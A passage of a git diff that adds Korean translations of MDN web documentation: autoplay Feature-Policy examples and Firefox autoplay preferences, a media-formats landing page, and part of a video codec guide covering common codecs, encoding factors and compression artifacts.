+
+<p>이전 예시에 추가로 <a href="/en-US/docs/Web/API/Fullscreen_API">Fullscreen API</a> 권한을 더하면 <code>Feature-Policy</code> 헤더는 아래와 같습니다. 도메인에 상관 없이 허용한 경우인데요; 필요하다면 도메인 제한을 추가할 수 있습니다.</p>
+
+<pre>Feature-Policy: autoplay 'self'; fullscreen</pre>
+
+<p><code>&lt;iframe&gt;</code> 엘리먼트의 <code>allow</code> 프로퍼티를 통해서 동일한 작업을 하면 아래와 같습니다:</p>
+
+<pre class="brush: html">&lt;iframe src="mediaplayer.html"
+ allow="autoplay 'src'; fullscreen"&gt;
+&lt;/iframe&gt;
+</pre>
+
+<h3 id="예시_특정_리소스만_자동_재생_허용">예시: 특정 리소스만 자동 재생 허용</h3>
+
+<p>document(또는 <code>&lt;iframe&gt;</code>)의 도메인과 <code>https://example.media</code> 에서만 자동 재생을 허용하기 위해서는 <code>Feature-Policy</code> 를 아래와 같이 작성합니다:</p>
+
+<pre>Feature-Policy: autoplay 'self' https://example.media</pre>
+
+<p>그리하여 {{HTMLElement("iframe")}} 역시 자신과 자식 프레임에서 자동 재생 정책을 사용하기 위해 아래와 같이 작성할 수 있습니다:</p>
+
+<pre class="brush: html">&lt;iframe width="300" height="200"
+ src="mediaplayer.html"
+ allow="autoplay 'src' https://example.media"&gt;
+&lt;/iframe&gt;
+</pre>
+
+<h3 id="예시_자동_재생_비활성">예시: 자동 재생 비활성</h3>
+
+<p><code>autoplay</code> feature policy를 <code>'none'</code>으로 지정하면 전체 document, <code>&lt;iframe&gt;</code> 및 모든 내부 프레임에서 자동 재생이 불가능합니다. 헤더는 다음과 같습니다:</p>
+
+<pre>Feature-Policy: autoplay 'none'</pre>
+
+<p><code>&lt;iframe&gt;</code>의 <code>allow</code> 어트리뷰트를 쓴다면:</p>
+
+<pre class="brush: html">&lt;iframe src="mediaplayer.html"
+ allow="autoplay 'none'"&gt;
+&lt;/iframe&gt;
+</pre>
+
+<h2 id="유용한_사례">유용한 사례</h2>
+
+<p>자동 재생을 적절하게 활용하기 위한 팁과 사례들을 모아 보았습니다.</p>
+
+<h3 id="Media_control을_통해_자동_재생_실패_처리하기">Media control을 통해 자동 재생 실패 처리하기</h3>
+
+<p>자동 재생하는 대표적인 케이스는 본문이나 광고 또는 페이지의 메인 기능에 대한 프리뷰로써 짧은 비디오 클립을 자동으로 재생하는 경우입니다. 이 경우 두 가지 선택지가 있습니다: 오디오가 없는 비디오를 재생하거나, 오디오가 있어도 기본적으로 음소거하거나, 아래처럼요:</p>
+
+<pre class="brush: html">&lt;video src="/videos/awesomevid.webm" controls autoplay muted&gt;</pre>
+
+<p>이 비디오 엘리먼트는 user control 어트리뷰트가 설정되어 있습니다 (보통 재생/일시정지, 비디오 타임라인 탐색, 볼륨 컨트롤, 음소거 등); 또한 {{htmlattrxref("muted", "video")}} 어트리뷰트가 포함되어 있어 자동 재생 되지만 음소거 상태입니다. 하지만 사용자는 볼륨 버튼을 클릭하여 음소거를 해제할 수 있죠.</p>
+
+<h2 id="브라우저_설정_옵션">브라우저 설정 옵션</h2>
+
+<p>브라우저는 보통 자동 재생 동작 방식을 컨트롤하기 위한 사전 설정, 혹은 자동 재생 방지 처리법을 가지고 있습니다. 그런 사전 설정들 중에 웹개발자인 여러분들에게 중요하거나 유용할 사전 설정들을 나열해 보았습니다. 이 설정들은 테스트 및 디버깅에 필요할 뿐만 아니라 실제로 도입되기 전 준비하는 데에도 유용합니다.</p>
+
+<h3 id="Firefox">Firefox</h3>
+
+<dl>
+ <dt><code>media.allowed-to-play.enabled</code></dt>
+ <dd>{{domxref("HTMLMediaElement.allowedToPlay")}} 프로퍼티의 노출 여부를 불리언 값으로 표현합니다. 현재는 기본값이 <code>false</code> 입니다(nightly builds는 예외로, 기본 값이 <code>true</code> 입니다). <code>false</code>라면, <code>HTMLMediaElement</code>에 <code>allowedToPlay</code> 프로퍼티가 없으며, {{HTMLElement("audio")}}와 {{HTMLElement("video")}} 엘리먼트에도 없습니다.</dd>
+ <dt><code>media.autoplay.allow-extension-background-pages</code></dt>
+ <dd>불리언 값으로, <code>true</code>라면 브라우저 확장의 백그라운드 스크립트가 오디오를 자동 재생 할 수 있습니다. <code>false</code>로 세팅하면 해당 기능을 막습니다. 기본 값은 <code>true</code>입니다.</dd>
+ <dt><code>media.autoplay.allow-muted</code></dt>
+ <dd>불리언 값으로 (기본 값) <code>true</code>는 현재 음소거 상태인 오디오 자동 재생을 허용합니다. <code>false</code>로 바뀔 때 오디오 트랙이 포함된 미디어는 음소거 상태라도 자동 재생이 불가능합니다.</dd>
+ <dt><code>media.autoplay.block-webaudio</code></dt>
+ <dd><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>를 통한 자동 재생도 차단할 지 여부를 불리언값으로 표현합니다. 기본 값은 <code>true</code>입니다.</dd>
+ <dt><code>media.autoplay.default</code></dt>
+ <dd>도메인 별 자동 재생 설정 값을 정수로 표현합니다. 허용 (<code>0</code>), 금지 (<code>1</code>), 확인 요청 (<code>2</code>). 기본 값은 <code>0</code>입니다.</dd>
+ <dt><code>media.autoplay.enabled.user-gestures-needed</code> (Nightly builds only)</dt>
+ <dd><code>media.autoplay.default</code> 값에 우선하여 사용자 제스쳐 적용 여부를 불리언 값으로 표현합니다. <code>media.autoplay.default</code> 값이 <code>0</code>이 <em>아닌</em> 경우(자동 재생이 기본으로 허용), 이 설정이 <code>true</code> 일 때 사용자 제스쳐를 통한 activation 후 오디오 트랙이 있는 미디어의 자동 재생이 가능해 집니다. 오디오가 없는 미디어는 제한되지 않습니다.</dd>
+ <dt><code>media.block-autoplay-until-in-foreground</code></dt>
+ <dd>백그라운드 탭에서 미디어 재생 시 제한 여부를 불리언 값으로 표현합니다. 기본 값 <code>true</code>는 다른 값이 허용이더라도 포그라운드에 탭이 올라오기 전까지 자동 재생이 불가능합니다. 이 설정은 어느 탭에선가 오디오를 재생했는데 사용자는 찾지 못해 탭을 뒤적이는 등의 짜증나는 시츄에이션을 방지해 줍니다.</dd>
+</dl>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Media">Web media technologies</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Video and audio content</a> (Learning guide)</li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Cross-browser_audio_basics">Cross-browser audio basics</a></li>
+</ul>
diff --git a/files/ko/web/media/formats/index.html b/files/ko/web/media/formats/index.html
new file mode 100644
index 0000000000..08785a2212
--- /dev/null
+++ b/files/ko/web/media/formats/index.html
@@ -0,0 +1,86 @@
+---
+title: Guide to media types and formats on the web
+slug: Web/Media/Formats
+tags:
+ - API
+ - Audio
+ - Codecs
+ - Containers
+ - File Types
+ - Files
+ - Filetypes
+ - Landing
+ - Media
+ - NeedsTranslation
+ - TopicStub
+ - Types
+ - Video
+ - Web
+ - formats
+translation_of: Web/Media/Formats
+---
+<p>Since nearly the beginning, the web has included support for some form of visual media presentation. Originally, these capabilities were limited, and were expanded organically, with different browsers finding their own solutions to the problems around including still and video imagery on the web. The modern web has powerful features to support the presentation and manipulation of media, with several media-related APIs supporting various types of content. Generally, the media formats supported by a browser are entirely up to the browser's creators, which can complicate the work of a web developer.</p>
+
+<p><span class="seoSummary">This guide provides an overview of the media file types, {{Glossary("codec", "codecs")}}, and algorithms that may comprise media used on the web.</span> Browser support information for various combinations of these is also provided, and suggestions for prioritization of formats as well as which formats excel at specific types of content are also provided.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="References">References</h2>
+
+<h3 id="Images">Images</h3>
+
+<dl>
+ <dt><span style="display: none;"> </span><a href="/en-US/docs/Web/Media/Formats/Image_types">Image file type and format guide</a></dt>
+ <dd>Covers image file type and content format support across the major web browsers, as well as providing basic information about each type: benefits, limitations, and use cases of interest to web designers and developers.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Images_for_web_designers">Image file types for web designers</a></dt>
+ <dd>Fundamental information about the various image file types that may be useful for web designers, including best practices and use cases for each type, and guidelines for choosing the right image file format for specific types of content.</dd>
+</dl>
+
+<h3 id="Media_file_types_and_codecs">Media file types and codecs</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Containers">Media containers (file types)</a></dt>
+ <dd>A guide to the file types that contain media data. Some are audio-specific, while others may be used for audio and/or combined audiovisual content such as movies. Includes overviews of each of the file types supported by the major web browsers, along with browser support information and supported features.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Audio_codecs">Web audio codec guide</a></dt>
+ <dd>A guide to the audio codecs allowed for by the common media containers, as well as by the major browsers. Includes benefits, limitations, key specifications and capabilities, and use cases. The support each browser has for using the codec in given containers is also covered.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Video_codecs">Web video codec guide</a></dt>
+ <dd>This article provides basic information about the video codecs supported by the major browsers, as well as potentially some not commonly supported that you might still run into. Codec capabilities, benefits, limitations, and browser support levels and restrictions are covered as well.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/codecs_parameter">The "codecs" parameter in common media types</a></dt>
+ <dd>When specifying the MIME type describing a media format, you can provide details using the <code>codecs</code> parameter as part of the type string. In this guide, the format and possible values of the <code>codecs</code> parameter for the common media types are described.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">Codecs used by WebRTC</a></dt>
+ <dd><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> doesn't use a container, but instead streams the encoded media itself from peer to peer using {{domxref("MediaStreamTrack")}} objects to represent each audio or video track. In this guide, the codecs commonly used with WebRTC are discussed.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Guides">Guides</h2>
+
+<h3 id="Concepts">Concepts</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Audio_concepts">Digital audio concepts</a></dt>
+ <dd>An introduction to how audio is converted into digital form and stored for use by computers. Basics about how audio is sampled are explained, as are concepts such as sample rate, audio frames, and audio compression.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Video_concepts">Digital video concepts</a></dt>
+ <dd>A guide to fundamental concepts involved with digital video as used on the web, including basics about color formats, chroma subsampling, how human perception influences video coding, and so forth.</dd>
+</dl>
+
+<h3 id="Tutorials_and_how-tos">Tutorials and how-tos</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Learning: Video and audio content</a></dt>
+ <dd>In this tutorial, the use of media on the web is introduced and covered in reasonable detail.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Support_issues">Handling media support issues in web content</a></dt>
+ <dd>In this guide, we look at how to build web content that maximizes quality and/or performance while providing the broadest possible compatibility by choosing media formats wisely, and offering fallbacks and alternate formats where it would be helpful.</dd>
+</dl>
+
+<h2 id="Other_topics">Other topics</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Media_Capabilities_API">Media Capabilities API</a></dt>
+ <dd>The Media Capabilities API lets you determine the encoding and decoding capabilities of the device your app or site is running on. This lets you make real-time decisions about what formats to use and when.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/ko/web/media/formats/비디오코덱/index.html b/files/ko/web/media/formats/비디오코덱/index.html
new file mode 100644
index 0000000000..5cccc89329
--- /dev/null
+++ b/files/ko/web/media/formats/비디오코덱/index.html
@@ -0,0 +1,1646 @@
+---
+title: 웹 비디오 코덱 가이드
+slug: Web/Media/Formats/비디오코덱
+translation_of: Web/Media/Formats/Video_codecs
+---
+<p>압축되지 않은 비디오 데이터는 그 크기가 엄청나기 때문에, 저장하거나 네트워크를 통해 전송하기 위해서는 아주 작게 압축해야 합니다. 압축되지 않은 비디오를 저장하는 과정을 상상해 봅시다:</p>
+
+<ul>
+ <li>HD(1920x1080) 풀 컬러(픽셀 당 4바이트) 비디오의 한 프레임은 8,294,400 입니다.</li>
+ <li>보통 초당 30프레임이므로 HD 비디오 1초는 248,832,000바이트 (~249 MB)를 잡아 먹습니다.</li>
+ <li>HD 1분은 1.39 GB가 필요합니다.</li>
+ <li>일반적인 30분짜리 비디오 컨퍼런스의 경우 47.1 GB가 필요하며, 2시간짜리 영화는 무려<em> 166 GB</em>입니다.</li>
+</ul>
+
+<p>비압축된 비디오 데이터는 스토리지 공간이 많이 필요할 뿐만 아니라 네트워크로 전송할 경우에도 어마어마한 대역폭이 필요합니다. 오디오와 오버헤드를 제외하고도 초당 249 MB가 필요하죠. 여기서 비디오 코덱이 등장합니다. 오디오 코덱이 사운드 데이터를 처리하듯이 비디오 코덱도 비디오 데이터를 압축하고 적절한 포맷으로 인코딩하여, 이후에 디코딩하여 재생 또는 편집할 수 있도록 합니다.</p>
+
+<p>대부분의 비디오 코덱은 손실 압축입니다. 디코딩해도 원본과 완전히 동일하지 않죠. 디테일한 부분이 사라질 수 있는데; 얼마나 사라지는지는 코덱와 설정에 달렸습니다만 압축율을 높일수록 디테일과 정확도는 감소합니다. 무손실 코덱도 있긴 합니다만, 보통 기록 보존 및 로컬 재생에만 염두에 두고 있는 경우가 많습니다.</p>
+
+<p><span class="seoSummary">이 문서는 웹에서 흔히 볼 수 있는 비디오 코덱을 소개하고 각각의 기능과 호환성, 사용성에 대해 설명하고 여러분에게 필요한 적절한 코덱을 찾는 법을 안내합니다.</span></p>
+
+<h2 id="일반_코덱">일반 코덱</h2>
+
+<p>웹에서 널리 쓰이는 비디오 코덱은 아래와 같습니다. 각 코덱마다 해당 코덱을 지원하는 컨테이너(파일 타입)도 나열되어 있습니다. 각 코덱의 링크를 클릭하면 해당 코덱에 대해 세부정보, 기능, 호환성 등 필요한 내용이 추가된 하단 섹션으로 이동합니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="row">코덱 이름 (축약어)</th>
+ <th scope="col">전체 코덱 이름</th>
+ <th scope="col">지원하는 컨테이너</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/Media/Formats/Video_codecs#AV1">AV1</a></th>
+ <td>AOMedia Video 1</td>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></td>
+ </tr>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">AVC (H.264)</a></th>
+ <td>Advanced Video Coding</td>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></td>
+ </tr>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/Media/Formats/Video_codecs#H.263">H.263</a></th>
+ <td>H.263 Video</td>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a></td>
+ </tr>
+ <tr>
+ <th scope="row"><a href="#HEVC">HEVC (H.265)</a></th>
+ <td>High Efficiency Video Coding</td>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a></td>
+ </tr>
+ <tr>
+ <th scope="row">{{anch("MP4V-ES")}}</th>
+ <td>MPEG-4 Video Elemental Stream</td>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a></td>
+ </tr>
+ <tr>
+ <th scope="row">{{anch("MPEG-1")}}</th>
+ <td>MPEG-1 Part 2 Visual</td>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#MPEGMPEG-2">MPEG</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#QuickTime">QuickTime</a></td>
+ </tr>
+ <tr>
+ <th scope="row">{{anch("MPEG-2")}}</th>
+ <td>MPEG-2 Part 2 Visual</td>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#MPEGMPEG-2">MPEG</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#QuickTime">QuickTime</a></td>
+ </tr>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/Media/Formats/Video_codecs#Theora">Theora</a></th>
+ <td>Theora</td>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a></td>
+ </tr>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/Media/Formats/Video_codecs#VP8">VP8</a></th>
+ <td>Video Processor 8</td>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></td>
+ </tr>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/Media/Formats/Video_codecs#VP9">VP9</a></th>
+ <td>Video Processor 9</td>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="인코딩_관여_요소">인코딩 관여 요소</h2>
+
+<p>어떤 인코더를 사용하든지간에 인코딩된 비디오의 크기와 퀄리티를 결정하는 두 개의 기본적인 요소 그룹이 있습니다: 하나는 소스 비디오의 포맷와 콘텐츠이며 나머지는 인코딩 시 코덱의 특징 및 설정입니다.</p>
+
+<p>요약하자면 이겁니다:인코딩 된 비디오가 원본에 가까울수록, 압축율은 적고 비디오 파일 크기는 커집니다. 그러므로 사이즈와 퀄리티는 항상 트레이드 오프가 있습니다. 특별한 경우에는 퀄리티 손실을 크게 감수하고서라도 사이즈를  많이 줄여야 할 필요가 있을 수도 있으며;반대로 고용량의 파일을 생성하더라도 퀄리티를 최대한 유지해야 하는 경우도 있습니다.</p>
+
+<h3 id="인코딩_된_비디오에_영향을_끼치는_소스_포맷">인코딩 된 비디오에 영향을 끼치는 소스 포맷</h3>
+
+<p>소스 비디오의 형식이 출력에 영향을 미치는 정도는 코덱과 작동 방식에 따라 다릅니다. 코덱이 미디어를 내장 픽셀 포맷으로 변환하거나 심플 픽셀 이외의 방식으로 이미지를 표현하는 경우에는 원본 포맷에 따른 차이는 거의 없습니다. 하지만 프레임 레이트나 해상도는 반드시 출력 미디어 크기에 영향을 미치게 되죠.</p>
+
+<p>또한 모든 코덱은 각각 장단점이 있습니다. 어떤 코덱은 특정한 형태와 패턴에 약하거나 엣지 선명도가 약하거나, 암부의 디테일이 떨어지거나 등의 여러가지 문제가 있을 수 있죠. 모든 건 기저의 알고리즘과 수학 공식에 달렸습니다.</p>
+
+<table class="standard-table">
+ <caption>인코딩 된 비디오의 품질과 크기에 영향을 줄 수 있는 비디오 포맷과 콘텐츠</caption>
+ <thead>
+ <tr>
+ <th scope="row">기능</th>
+ <th scope="col">품질에 영향</th>
+ <th scope="col">크기에 영향</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">Color depth (bit depth)</th>
+ <td>색 깊이가 높을수록 비디오의 색상 정확도가 높아집니다. Additionally, 이미지의 강렬한 부분 (빛이나 순수한 빨강  [<code>rgba(255, 0, 0, 1)</code>] 등 매우 원색적인 색상), 컴포넌트당 10bit (10-bit color) 이하의 색 깊이에서는 그라데이션 부분이 마치 계단처럼 색상이 분리되는 현상인 컬러 밴딩이 발생할 수 밖에 없습니다.</td>
+ <td>코덱에 따라 다르지만 색 깊이가 높을 수록 압축된 파일 사이즈가 커지게 됩니다. 압축 데이터의 내장 스토리지 포맷에 따라 결정됩니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">프레임 레이트</th>
+ <td>이미지 상에 보여지는 움직임이 얼마나 부드러운지에 크게 영향을 끼칩니다. 프레임 레이트가 높을 수록 움직임이 더 부드럽고 현실에 가까워 집니다. 계속 높이다보면 압축의 의미가 없어지는 지점에 도달하게 되죠. 아래의 {{anch("Frame rate")}} 절을 참조하세요.</td>
+ <td>인코딩 도중 프레임 레이트를 감소시키지 않는 다면 높을 수록 압축된 결과물이 커집니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">움직임(Motion)</th>
+ <td>비디오 압축은 일반적으로 프레임을 비교하면서 수행합니다. 두 프레임이 어디가 다른지 찾아낸 후 이전 프레임에서 다음 프레임을 예측하기 위핸 최소한의 정보만을 기록하는 방식입니다. 연속된 프레임이 다른 것들과 다를 수록 차이점도 많아지고 the less effective the compression is at avoiding the introduction of artifacts into the compressed video.</td>
+ <td>움직임이 복잡할 수록 프레임간의 차이점이 많아 지므로 인터프레임이 커지게 됩니다. 이를 비롯한 여러가지 이유로 인해 일반적으로 움직임이 많은 영상일수록 사이즈가 큽니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">잡음(Noise)</th>
+ <td>픽쳐 노이즈(필름 그레인 효과, 먼지 등 이미지의 불규칙한 점들)는 픽셀간 변화폭을 늘립니다. 증가된 변화폭은 압축을 어렵게 하고 동일한 압축 레벨일 때 디테일을 떨어뜨리는 원흉이 되죠.</td>
+ <td>이미지에 -노이즈 같이- 변화폭이 큰 부분이 많을수록 압축 알고리즘이 비슷한 수준으로 이미지를 압축하기 어렵습니다. 노이즈로 인한 변화폭을 무시하도록 인코더를 세팅하지 않는 한 노이즈가 많을 수록 압축된 비디오 파일 크기도 커질겁니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">해상도(width, height)</th>
+ <td>압축하는 과정에 특이사항이 발생하지 않는 한 동일한 크기의 스크린에 더 높은 해상도의 비디오가 출력될 수록 원본에 가까운 영상을 볼 수 있습니다.</td>
+ <td>해상도가 높을수록 비디오 크기도 커집니다. 최종 사이즈에 결정적인 요소죠.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>위 요소들이 인코딩 된 비디오에 미치는 정도는 선택한 인코더와 설정 등 정확한 상황에 따라 굉장히 다양합니다. 인코딩 중에 코덱의 일반 옵션에 더해서 프레임 레이트를 줄이거나 노이즈 제거, 비디오 해상도를 줄이는 등 인코더 설정을 추가할 수 있습니다.</p>
+
+<h3 id="인코딩_결과물에_영향을_끼치는_코덱_설정">인코딩 결과물에 영향을 끼치는 코덱 설정</h3>
+
+<p>비디오 인코딩에 쓰이는 알고리즘은 보통 여러가지의 기술들로 구성되어 있습니다. 일반적으로 최종 결과물의 크기를 줄이기 위한 설정 옵션은 비디오 퀄리티 하락이나 특정 이슈를 발생시킵니다. 최종 결과물이 매우 커지지만 오리지널 소스를 완벽하게 재생하기 위해 무손실 인코딩을 택할 수도 있습니다.</p>
+
+<p>또한 각 인코더는 결과물의 품질과 크기에 영향을 끼치는 다양한 바리에이션을 가지고 있기도 합니다.</p>
+
+<table class="standard-table">
+ <caption>품질과 크기에 영향을 미치는 비디오 인코더 설정</caption>
+ <thead>
+ <tr>
+ <th scope="row">기능</th>
+ <th scope="col">품질에 영향</th>
+ <th scope="col">크기에 영향</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">무손실 압축</th>
+ <td>품질 손실 없음</td>
+ <td>손실 압축에 비해 무손실 압축은 전체 비디오 크기를 많이 줄일 수 없습니다; 결과물 파일은 일반적으로 사용하기엔 여전히 매우 거대합니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">
+ <p>손실 압축</p>
+ </th>
+ <td>특정 코덱과 압축을 어떻게 하느냐에 따라 퀄리티 저하에 영향을 끼치는 인자나 기타 요소가 어느 정도 발생하게 됩니다.</td>
+ <td>원본 비디오와 많이 달라져도 된다면 높은 압축률을 달성하는 것은 어렵지 않습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">품질 세팅</th>
+ <td>품질 설정을 높게 세팅할수록 인코딩 된 비디오도 원본에 가깝게 보일겁니다.</td>
+ <td>보통은 높은 품질로 설정할 수록 인코딩 된 비디오 파일도 커집니다;그 정도는 코덱에 따라 다르겠지만요.</td>
+ </tr>
+ <tr>
+ <th scope="row">비트레이트</th>
+ <td>품질을 높이면 보통 비트레이트도 높아집니다.</td>
+ <td>비트레이트가 높으면 결과물 파일도 커지죠.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>인코딩 시 설정 가능한 항목과 값은 코덱마다 다를 뿐만 아니라 사용하는 인코더 소프트웨어에 따라서도 다양합니다. 여러분이 사용하는 인코더 소프트웨어의 가이드 문서에 인코딩 시 영향을 끼치는 옵션에 대해 설명하고 있을겁니다.</p>
+
+<h2 id="압축_아티팩트">압축 아티팩트</h2>
+
+<p><strong>아티팩트</strong>는 는 손실 압축에서 발생할 수 있는 부작용으로 시각적인 데이터의 손실 또는 변경입니다. 비디오 출력 방식 때문에 아티팩트가 한 번 발생하면 생각보다 오래 남습니다. 비디오의 각 프레임은 현재 보여지는 프레임에서 변경된 부분만 적용하는 방식으로 표현됩니다. 이 말은 즉 에러나 아티팩트는 시간이 지날수록 복잡해지고 이미지상의 결함이나 이상한 점, 깨진 부분 등이 한동안 지속된다는 걸 의미하죠.</p>
+
+<p>이 문제도 해결하고 또 비디오 데이터의 탐색 시간을 개선하기 위해 주기적으로 <strong>키 프레임</strong>(<strong>인트라-프레임</strong> 또는 <strong>i-프레임</strong>)을 비디오 파일에 삽입합니다. 키 프레임은 통짜 프레임으로 현재 보이는 이미지 손상이나 아티팩트를 수정하기 위해 존재합니다.</p>
+
+<h3 id="위신호Aliasing">위신호(Aliasing)</h3>
+
+<p>위신호는 인코딩 된 데이터가 압축하기 전과 다르게 보이는 현상 전반에 대한 일반 용어입니다. 여러가지 종류의 위신호가 있으며;흔히 보이는 것들은 아래와 같습니다:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td>
+ <h4 id="모아레_현상Moiré_patterns">모아레 현상(Moiré patterns)</h4>
+
+ <p><strong>{{interwiki("모아레 현상-Moiré pattern")}}</strong>는 소스 이미지의 패턴과 인코더의 동작 방식이 공간적으로 약간 정렬되어 있지 않을 때 발생하는 대규모 공간 간섭 패턴입니다. 인코딩 시 발생한 아티팩트를 디코딩 하면 소스 이미지에 이상한 회오리 무늬가 생깁니다.</p>
+ </td>
+ <td><a href="https://mdn.mozillademos.org/files/16680/moire-pattern.jpg"><img alt="" src="https://mdn.mozillademos.org/files/16680/moire-pattern.jpg" style="height: 250px; width: 205px;"></a></td>
+ </tr>
+ <tr>
+ <td>
+ <h4 id="계단_현상">계단 현상</h4>
+
+ <p><strong>계단 현상</strong>은 공간적 아티팩트의 하나로 부드러워야 할 대각선이나 곡선 경계면이 마치 계단처럼 들쭉날쭉하게 보이는 현상을 의미합니다. "안티-앨리어싱"필터를 사용하면 줄일 수 있습니다.</p>
+ </td>
+ <td><a href="https://mdn.mozillademos.org/files/16681/staircase-effect.jpg"><img alt="" src="https://mdn.mozillademos.org/files/16681/staircase-effect.jpg" style="height: 250px; width: 206px;"></a></td>
+ </tr>
+ <tr>
+ <td>
+ <h4 id="마차_바퀴_현상">마차 바퀴 현상</h4>
+
+ <p><strong>마차 바퀴 현상</strong> (또는 <strong>{{interwiki("wikipedia", "스트로보 효과")}}</strong>)은 필름에서 흔히 볼 수 있는 시각적 효과로 프레임 레이트와 압축 알고리즘에 의해 회전하는 바퀴가 느리거나 빠르게 혹은 아예 반대 방향으로 보이는 것을 의미합니다. 이는 철도 노선의 침목이나 도로변의 기둥 등 일정한 패턴으로 움직이는 것이라면 어디서든 볼 수 있습니다. 이는 시간적 위신호 이슈로;압축 또는 인코딩 시 샘플링 레이트가 회선 속도에 간섭하여 발생합니다.</p>
+ </td>
+ <td><a href="https://mdn.mozillademos.org/files/16682/stroboscopic-effect.gif"><img alt="" src="https://mdn.mozillademos.org/files/16682/stroboscopic-effect.gif"></a></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="컬러_엣징Color_edging">컬러 엣징(Color edging)</h3>
+
+<p><strong>컬러 엣징</strong>은 시각적 아티팩트 중 하나로 화면상의 색상을 가진 오브젝트들의 경계면에 잘못된 색상이 나타나는 현상입니다. 나타나는 색상은 프레임의 콘텐츠간에 아무 연관도 없습니다.</p>
+
+<h3 id="선명도_손실">선명도 손실</h3>
+
+<p>비디오 인코딩 중 일부 데이터를 제거하면 필연적으로 디테일 손실이 발생합니다. 충분히 압축하고 나면 일부 또는 전체 이미지에 약간 불분명하거나 흐릿한 부분이 보일 수 있습니다.</p>
+
+<p>선명도가 떨어지면 이미지 상의 글자를 읽기 어렵습니다. 특히나 작은 글씨들은 디테일에 민감한 콘텐츠로 작은 변화로도 매우 읽기 어려워집니다.</p>
+
+<h3 id="링잉_효과Ringing">링잉 효과(Ringing)</h3>
+
+<p>손실 압축 알고리즘은 링잉 효과 <strong>{{interwiki("wikipedia", "ringing artifacts", "ringing")}}</strong>를 일으킬 수 있습니다. 링잉 효과는 압축 알고리즘에 의해 오브젝트의 경계면에 픽셀이 오염되는 현상을 의미합니다. 압축 알고리즘이 오브젝트와 배경의 경계면이 포함된 블럭을 사용했을 때 발생할 수 있습니다. 보통 압축율이 높을 때 주로 발생합니다.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/16684/Ringing-effects.png"><img alt="Example of the ringing effect" src="https://mdn.mozillademos.org/files/16684/Ringing-effects.png" style="height: 368px; width: 350px;"></a></p>
+
